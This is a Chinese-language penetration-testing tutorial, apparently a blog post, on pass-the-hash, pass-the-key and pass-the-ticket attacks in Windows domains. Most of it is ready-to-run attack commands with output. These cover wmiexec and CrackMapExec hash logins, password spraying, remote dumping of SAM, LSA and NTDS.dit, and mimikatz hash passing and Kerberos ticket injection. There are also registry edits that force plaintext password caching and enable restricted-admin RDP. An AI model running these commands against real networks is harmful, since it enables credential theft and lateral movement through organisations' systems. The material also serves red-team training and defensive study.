在内网渗透的过程中我们常用到的就是这三种攻击
- pass the hash - hash传递
- pass the ticket - 票据传递
- pass the key - 密钥传递
这三种攻击我们并不陌生,在攻防演练当中常用的套路就是,抓密码→横向,抓到hash→传递,登录上去继续重复操作,直到抓到域管理员密码→登录域控。
pass the hash 攻击
Windows用户hash主要由以下部分组成,其中NTLM-HASH 比LM-HASH的安全性更高:
用户名称:RID:LM-HASH值:NTLM-HASH值
NTLM网络认证
NTLM是基于质询、应答消息交换模式的认证机制,用户工作组和域环境身份认证NTLM有三步。
- 协商:主要用于确认双方协议版本(NTLMv1、NTLMv2等)
- 质询:质询/应答 (Challenge/Response)模式,用于消息交换
- 验证:验证身份合法性,通常由 Server端或 DC完成这个过程
大概的流程:- 客户端对对明文密码进行加密缓存,然后用户名发送到服务器,发起认证请求
- 服务器生成一个16字节的随机数,(质询)发送给客户端
- 客户端使用用户HASH对质询进行加密,讲结果发送给服务器
- 服务器发送三项数据给域控服务器:
a. User name
b. 发送客户端的质询
c. 从客户端接收加密结果
域控服务器使用User name 从AD 中检索这个用户的NTLM HASH,同时用NTML hash质询,然后把这个值和客户端计算出来的值与结果比较,结果一致就验证成功。
形成原因
在认证的时候不仅支持明文认证同时允许使用hash认证
明文登录:明文→加密成hash→认证hash登录:hash→认证
使用WMIEXEC
windows下使用wmiexec.exe通过pth方式拿shell:
wmiexec.exe -hashes 00000000000000000000000000000000:570a9a65db8fba761c1008a51d4c95ab ./tom@10.10.xx.xx./wmiexec.exe -hashes 00000000000000000000000000000000:570a9a65db8fba761c1008a51d4c95ab ninitom.cn/web@10.10.10.22
CrackMapExec
身份认证检查凭证
批量登录
cme smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE'
使用用户hash登录
例如获取到
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c:::
类似这样的凭据时候,可以使用完整的hash或者使用nthash(后半部分进行登录)
python38.exe .\cme smb 192.168.1.0/24 -u UserNAme -H 'LM:NT'python38.exe .\cme smb 192.168.1.0/24 -u UserNAme -H 'NTHASH'python38.exe .\cme smb 192.168.1.0/24 -u Administrator -H '13b29964cc2480b4ef454c59562e675c'python38.exe .\cme smb 192.168.1.0/24 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c'
示例:
python38.exe .\cme smb 192.168.52.0/24 -u web -H '570a9a65db8fba761c1008a51d4c95ab'

使用多个用户名或者密码
python38.exe .\cme 192.168.1.101 -u user1 user2 user3 -p Summer18python38.exe .\cme 192.168.1.101 -u user1 -p password1 password2 password3
示例:
python38.exe .\cme smb 192.168.52.0/24 -u n001 n002 web admin administrator -p Admin123

CME 接受用户名和密码的 txt 文件。每行一个用户/密码。注意帐户锁定!
python38.exe .\cme 192.168.1.101 -u /path/to/users.txt -p Summer18python38.exe .\cme 192.168.1.101 -u Administrator -p /path/to/passwords.txt
注意:默认情况下,CME 将在成功登录后退出。即使找到有效密码,使用 —continue-on-success 标志也会继续喷射。用于针对大型用户列表喷洒单个密码使用示例:
python38.exe .\cme 192.168.1.101 -u /path/to/users.txt -p Summer18 --continue-on-success
远程获取凭证
以下示例使用用户名和明文密码,尽管用户/哈希组合也可以使用。
使用 secretsdump.py 中的方法转储 SAM 哈希
python38.exe .\cme 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --sam
使用 secretsdump.py 中的方法转储 LSA 机密
python38.exe .\cme 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --lsa
使用 secretsdump.py 中的方法从目标 DC 转储 NTDS.dit
2 methods are available:(default) drsuapi - Uses drsuapi RPC interface create a handle, trigger replication, and combined withadditional drsuapi calls to convert the resultant linked-lists into readable formatvss - Uses the Volume Shadow copy Servicepython38.exe .\cme 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntdspython38.exe .\cme 192.168.1.100 -u UserNAme -p 'PASSWORDHERE' --ntds vss
使用 secretsdump.py 中的方法从目标 DC 转储 NTDS.dit 密码历史记录
python38.exe .\cme 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-history
显示每个 NTDS.dit 帐户的 pwdLastSet 属性
python38.exe .\cme 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet
命令执行
执行方法
CME 具有三种不同的命令执行方式:
wmiexec通过 WMI 执行命令atexec通过使用 Windows 任务调度程序调度任务来执行命令smbexec通过创建和运行服务来执行命令
默认情况下,如果一个执行方法失败,CME 将故障转移到不同的执行方法。它尝试按以下顺序执行命令:
wmiexecatexecsmbexec
如果您想强制 CME 仅使用一种执行方法,您可以使用--exec-method标志指定哪一种。
命令执行方法在 Executed Command 输出行中表示。
WMIEXEC 示例,请注意“通过 wmiexec 执行的命令”输出行。
PS I:\域渗透\cmedb-windows-latest> python38.exe .\cme smb 192.168.52.0/24 -u web -H '570a9a65db8fba761c1008a51d4c95ab' -X '$PSVersionTable' --exec-method wmiexec[1m[34mSMB[0m 192.168.52.1 445 IPHONE [1m[34m[*][0m Windows 10.0 Build 18362 x64 (name:IPHONE) (domain:iphone) (signing:False) (SMBv1:False)[1m[34mSMB[0m 192.168.52.1 445 IPHONE [1m[31m[-][0m iphone\web:570a9a65db8fba761c1008a51d4c95ab STATUS_LOGON_FAILURE[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[34m[*][0m Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (name:WEB) (domain:ninitom.cn) (signing:False) (SMBv1:True)[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[34m[*][0m Windows 7 Ultimate 7601 Service Pack 1 x64 (name:TEST-PC) (domain:ninitom.cn) (signing:False) (SMBv1:True)[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[32m[+][0m ninitom.cn\web:570a9a65db8fba761c1008a51d4c95ab [1m[33m(Pwn3d!)[0m[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[32m[+][0m ninitom.cn\web:570a9a65db8fba761c1008a51d4c95ab [1m[33m(Pwn3d!)[0m[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[32m[+][0m Executed command via wmiexec[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[33mName Value[0m[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[33m---- -----[0m[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[33mCLRVersion 2.0.50727.5420[0m[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[33mBuildVersion 6.1.7601.17514[0m[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[33mPSVersion 2.0[0m[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[33mWSManStackVersion 2.0[0m[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[33mPSCompatibleVersions {1.0, 2.0}[0m[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[33mSerializationVersion 1.1.0.1[0m[1m[34mSMB[0m 192.168.52.130 445 WEB [1m[33mPSRemotingProtocolVersion 2.1[0m[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[32m[+][0m Executed command via wmiexec[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[33mName Value[0m[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[33m---- -----[0m[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[33mCLRVersion 2.0.50727.5420[0m[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[33mBuildVersion 6.1.7601.17514[0m[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[33mPSVersion 2.0[0m[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[33mWSManStackVersion 2.0[0m[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[33mPSCompatibleVersions {1.0, 2.0}[0m[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[33mSerializationVersion 1.1.0.1[0m[1m[34mSMB[0m 192.168.52.143 445 TEST-PC [1m[33mPSRemotingProtocolVersion 2.1[0m
pass the key攻击(PTK)
ptk是在域中攻击kerberos认证的一种方式,原理是通过获取用户的aes hmac,通过kerberos认证,可在NTLM认证被禁止的情况下用来实现类似pth的功能。
获取到的已知信息
msv :[00000003] Primary* Username : Administrator* Domain : NINITOM* NTLM : e45a314c664d40a227f9540121d1a29d* SHA1 : 68d2cbb7f15aec345fbf42a6326ddfee03e61708* DPAPI : 045a6171114f8870de9f71de4468fbc8
通过mimikatz 传递
普通用户获取到administator的hash,执行下列操作获取到cmd权限
mimikatz.exe privilege::debug "sekurlsa::pth /domain:目标机器的域(工作组则为.) /user:目标机器的用户名 /ntlm:用户名对应的hash"mimikatzprivilege::debug"sekurlsa::pth /user:administrator /domain:ninitom.cn /ntlm:e45a314c664d40a227f9540121d1a29d"

跳出cmd访问到
dir \\10.10.10.10\c$

对于8.1/2012r2,安装补丁kb2871997的Win 7/2008r2/8/2012,可以使用AES keys代替NT hash
在windows Server 2012及其以后的版本中,使用抓密码工具无法从内存中获取到明文密码。

可以通过修改注册表在系统重启后可以看到明文密码:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
Hash传递登录RDP
Restricted Admin mode,直译为受限管理模式,它使用当前Windows登录凭据,不需要输入口令,直接登录。当然需要两端都支持Restricted Admin mode,即Server需要开启Restricted Admin mode,Client也需要支持Restricted Admin mode。
Restricted Admin mode适用于:
- Windows 8.1和Windows Server 2012 R2默认支持该功能
- Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351
查看是否支持Restricted Admin mode的命令。
mstsc.exe /restrictedadmin

开启Restricted Admin mode的方法
- 方法1: 安装补丁3126593 补丁
- 修改注册表
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
实践:
# 管理员权限下执行以下命令:mimikatz.exe privilege::debug "sekurlsa::pth /domain:目标机器的域(工作组.) /user:目标机器的用户名 /ntlm:用户名对应的hash /run:mstsc.exe /restrictedadmin"privilege::debugsekurlsa::pth /user:web /domain:ninitom.cn /ntlm:570a9a65db8fba761c1008a51d4c95ab "/run:mstsc.exe /restrictedadmin"
我不知道我安装了补丁好像还是没什么卵用,方法就是这么个方法。

Pass The Ticket
使用票据进行传递使用mimikatz
票据传递
privilege::debugsekurlsa::tickets /export

把获取到的票据拿出来,通过攻击机器把票据注入到内存中。
kerberos::ptt "票据路径"kerberos::ptt "[0;75cc8]-2-0-40e10000-Administrator@krbtgt-NINITOM.CN.kirbi"

通过mimikatz
kerberos::list 查看票据kerberos::purge 清除票据
查看到有这个票据在内存中就算是成功了,我们可以通过dir 去查看域控主机是否可以去访问

dir \\dc1.ninitom.cn\c$这里使用主机名、ip地址、域都是可以的只要能解析到对应的这个ip地址

也可以通过kekeo
